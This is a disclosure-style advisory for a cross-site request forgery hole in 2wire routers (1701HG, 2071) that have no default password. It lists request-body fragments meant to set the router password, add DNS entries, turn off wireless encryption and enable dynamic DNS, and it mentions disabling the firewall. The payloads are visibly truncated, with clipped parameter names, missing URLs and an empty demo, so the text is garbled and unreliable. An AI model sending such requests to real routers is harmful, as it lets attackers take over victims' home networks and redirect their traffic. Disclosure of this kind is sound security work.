Cross Site Request Forgery in 2wire routers

Credit: hkm
Risk: High
Local: No
Remote: Yes

Cross Site Request Forgery in 2wire routers Vulnerable Routers: 1701HG, 2071 Gateway Software: v3.17.5, 5.29.51 Password Not Set (default) Greetz a la Comunidad Underground de Mxico, y a los que me ayudaron a probarlo: Preth00nker, nitr0us, ... hkm (at) hakim (dot) ws [email concealed] I. Background ------------- This is the most popular router in Mexico and the default installation from the ISP has no system password. II. Vuln ---------------- It is possible to send a request to the router that will modify its configuration. It does not validate POST, or Referer or Anything... II. Exploit ---------------- We just need the client to do a request to the router with the configuration we desire. [examples] Set a password (NUEVOPASS): NABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS Add names to the DNS ( www.prueba.hkm): E=www.prueba.hkm&ADDR= Disable Wireless Authentication AME=encrypt_enabled&VALUE=0 Set Dynamic DNS P_DYNAMIC=TRUE Disable the Firewall Reset the device Etc... DNS Poisoning demo:

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023,


Back to Top